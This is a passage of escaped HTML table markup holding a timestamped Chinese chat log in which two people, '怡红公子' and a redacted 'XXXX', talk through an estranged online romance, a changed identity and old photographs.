\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:55:18\u003c/h2\u003e\r\n\u003ch2\u003e呵呵，肯定是的，一个你没接触过的，人吧\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:55:33\u003c/h2\u003e\r\n\u003ch2\u003e可是 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:55:38\u003c/h2\u003e\r\n\u003ch2\u003e你是XXX \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:55:57\u003c/h2\u003e\r\n\u003ch2\u003e你不再是那个怡红公子？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:56:09\u003c/h2\u003e\r\n\u003ch2\u003e怪不得 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:56:17\u003c/h2\u003e\r\n\u003ch2\u003e所以，我是一个，你没接触过的，陌生的，人\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:56:32\u003c/h2\u003e\r\n\u003ch2\u003e你总是这样拒人千里之外么\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:56:54\u003c/h2\u003e\r\n\u003ch2\u003e不是 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:57:09\u003c/h2\u003e\r\n\u003ch2\u003e我仿佛又经历了那一次 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:57:17\u003c/h2\u003e\r\n\u003ch2\u003e我等了你2个月 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:57:37\u003c/h2\u003e\r\n\u003ch2\u003e可是那天晚上视频里突然出现一个很陌生的人 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:57:56\u003c/h2\u003e\r\n\u003ch2\u003e终于还是回到了这里\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:58:05\u003c/h2\u003e\r\n\u003ch2\u003e所以，我害怕\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:58:25\u003c/h2\u003e\r\n\u003ch2\u003e害怕碰到那个拒我于千里之外的你\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:58:27\u003c/h2\u003e\r\n\u003ch2\u003e我等了你半学期，可刚才你说你叫XXX \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:59:09\u003c/h2\u003e\r\n\u003ch2\u003e我没有办法 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:59:15\u003c/h2\u003e\r\n\u003ch2\u003e一点办法都没有 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:59:26\u003c/h2\u003e\r\n\u003ch2\u003e我只记得怡红公子 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:59:58\u003c/h2\u003e\r\n\u003ch2\u003e那就让记忆永远保存在那年的暑假，两个月吧\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:01:05\u003c/h2\u003e\r\n\u003ch2\u003e你说我变了，就是变了，虽然我觉得没有。你觉得我陌生了，那肯定是陌生了，因为已经不再从前。\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:01:54\u003c/h2\u003e\r\n\u003ch2\u003e你打过来的字，跟当初不一样 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:02:04\u003c/h2\u003e\r\n\u003ch2\u003e难道我读不出来么？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:02:40\u003c/h2\u003e\r\n\u003ch2\u003e你，当然是读得出来的。品不出来的，是我自己。\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:03:14\u003c/h2\u003e\r\n\u003ch2\u003e当初我是爱公子的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:03:40\u003c/h2\u003e\r\n\u003ch2\u003e虽然当初我没有也无法确认什么是爱 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:03:49\u003c/h2\u003e\r\n\u003ch2\u003e但后来每每想起 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:03:59\u003c/h2\u003e\r\n\u003ch2\u003e你爱的，永远都是那两个月的怡红公子\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:04:15\u003c/h2\u003e\r\n\u003ch2\u003e都会奇怪那究竟是种什么样感觉 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:05:29\u003c/h2\u003e\r\n\u003ch2\u003e可我现在，虽然也是怡红公子，但在你面前，却多了一层身份，一个叫XXX的人，站在一个叫怡红公子的人和XXXX的中间。所以，现在的怡红公子，让你变得陌生了。\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:05:34\u003c/h2\u003e\r\n\u003ch2\u003e到后来，牵住你的手，才真正明白 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:05:58\u003c/h2\u003e\r\n\u003ch2\u003e感觉这种事，往往也只是一瞬间的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:06:10\u003c/h2\u003e\r\n\u003ch2\u003e明白的时候，你已经远去 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:06:11\u003c/h2\u003e\r\n\u003ch2\u003e就像品茶一样，品一次叫品\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:06:20\u003c/h2\u003e\r\n\u003ch2\u003e品两次就叫喝\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:06:30\u003c/h2\u003e\r\n\u003ch2\u003e品三次则为驴饮\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:06:57\u003c/h2\u003e\r\n\u003ch2\u003e你懂点茶道了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:07:21\u003c/h2\u003e\r\n\u003ch2\u003e脑子里想到的而已，和茶道，无关\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:07:43\u003c/h2\u003e\r\n\u003ch2\u003e篮球场上有你的照片么？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:08:02\u003c/h2\u003e\r\n\u003ch2\u003e你还想看么？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:08:08\u003c/h2\u003e\r\n\u003ch2\u003e是的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:08:24\u003c/h2\u003e\r\n\u003ch2\u003e照片上的，永远都是那个陌生的XXX，不是你的怡红公子！！！！！！！！！！！！！！\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:08:39\u003c/h2\u003e\r\n\u003ch2\u003e公子 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:08:46\u003c/h2\u003e\r\n\u003ch2\u003e你不要这样 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:09:14\u003c/h2\u003e\r\n\u003ch2\u003e我会为今天的说话后悔 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:09:39\u003c/h2\u003e\r\n\u003ch2\u003e我是个成年人 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:09:45\u003c/h2\u003e\r\n\u003ch2\u003e我不再场上\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:09:47\u003c/h2\u003e\r\n\u003ch2\u003e在\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:09:57\u003c/h2\u003e\r\n\u003ch2\u003e不能说不负责的话 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:10:15\u003c/h2\u003e\r\n\u003ch2\u003e你为什么不在场上？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:10:29\u003c/h2\u003e\r\n\u003ch2\u003e在我面前，没有关系，因为，我懂得，哪些，是玩笑话\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:10:42\u003c/h2\u003e\r\n\u003ch2\u003e我，不适合的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:10:47\u003c/h2\u003e\r\n\u003ch2\u003e我今天没说玩笑 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:10:59\u003c/h2\u003e\r\n\u003ch2\u003e我明白\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:11:04\u003c/h2\u003e\r\n\u003ch2\u003e正因为不是玩笑，我才担心 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:11:27\u003c/h2\u003e\r\n\u003ch2\u003e公子 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:11:43\u003c/h2\u003e\r\n\u003ch2\u003e为什么你的日志，每个字都是你呢？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:11:58\u003c/h2\u003e\r\n\u003ch2\u003e而你跟我说话时，却…… \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:12:07\u003c/h2\u003e\r\n\u003ch2\u003e你在刻意伪装？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:12:11\u003c/h2\u003e\r\n\u003ch2\u003e网上的，永远都是正在成长的怡红公子\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:12:22\u003c/h2\u003e\r\n\u003ch2\u003e我读你的日志 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:12:23\u003c/h2\u003e\r\n\u003ch2\u003e现实的，是你陌生的XXX\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:12:40\u003c/h2\u003e\r\n\u003ch2\u003e分明感觉到了怡红公子 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:13:42\u003c/h2\u003e\r\n\u003ch2\u003e怡红公子，居然毫无声息地迁徙到另外一个地方 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:14:37\u003c/h2\u003e\r\n\u003ch2\u003e你觉得，以前的怡红公子，拥有的是什么样的气质\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:14:58\u003c/h2\u003e\r\n\u003ch2\u003e干净 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:15:08\u003c/h2\u003e\r\n\u003ch2\u003e单纯 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:15:13\u003c/h2\u003e\r\n\u003ch2\u003e善良 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:15:20\u003c/h2\u003e\r\n\u003ch2\u003e淘气 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:15:34\u003c/h2\u003e\r\n\u003ch2\u003e偶尔哭鼻子 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:15:51\u003c/h2\u003e\r\n\u003ch2\u003e骂别人时自己却在哭 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:16:22\u003c/h2\u003e\r\n\u003ch2\u003e爱赌气 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:16:44\u003c/h2\u003e\r\n\u003ch2\u003e出门就装大人 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:17:05\u003c/h2\u003e\r\n\u003ch2\u003e其实内心很小孩 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:17:53\u003c/h2\u003e\r\n\u003ch2\u003e让我想到了周瑜了。\r\n你的梦，太美，我变不回去，对不起。\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:18:52\u003c/h2\u003e\r\n\u003ch2\u003e我没有把自己强加到你身上 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:19:34\u003c/h2\u003e\r\n\u003ch2\u003e也许，我在其他那里是彻彻底底的周瑜 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:19:43\u003c/h2\u003e\r\n\u003ch2\u003e但在你这里，不是 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:20:46\u003c/h2\u003e\r\n\u003ch2\u003e我知道，我从来都没有把你当作周瑜，你只是XXXX。我想到的，是小说里面的那个周瑜，那个懵懂的周瑜\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:21:00\u003c/h2\u003e\r\n\u003ch2\u003e哦 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:22:04\u003c/h2\u003e\r\n\u003ch2\u003e你们班的男生，都不帅？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:22:13\u003c/h2\u003e\r\n\u003ch2\u003e呵呵，你看了不就知道了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:22:31\u003c/h2\u003e\r\n\u003ch2\u003e这个问题，问的有些暧昧了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:22:48\u003c/h2\u003e\r\n\u003ch2\u003e可是，你是其中哪一个呢？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:23:20\u003c/h2\u003e\r\n\u003ch2\u003e说了，你要找的怡红公子不在那里的，你又何苦\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:23:32\u003c/h2\u003e\r\n\u003ch2\u003e去年暑假你给我的那张小小的照片 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:23:51\u003c/h2\u003e\r\n\u003ch2\u003e可是，你现在长大了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:24:00\u003c/h2\u003e\r\n\u003ch2\u003e我辨认不出来 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:24:40\u003c/h2\u003e\r\n\u003ch2\u003e \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:25:17\u003c/h2\u003e\r\n\u003ch2\u003e你很有眼光，挑了个我们班最帅的呢！呵呵\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:25:28\u003c/h2\u003e\r\n\u003ch2\u003e但，我不喜欢他\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:25:46\u003c/h2\u003e\r\n\u003ch2\u003e他，让我反感\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd 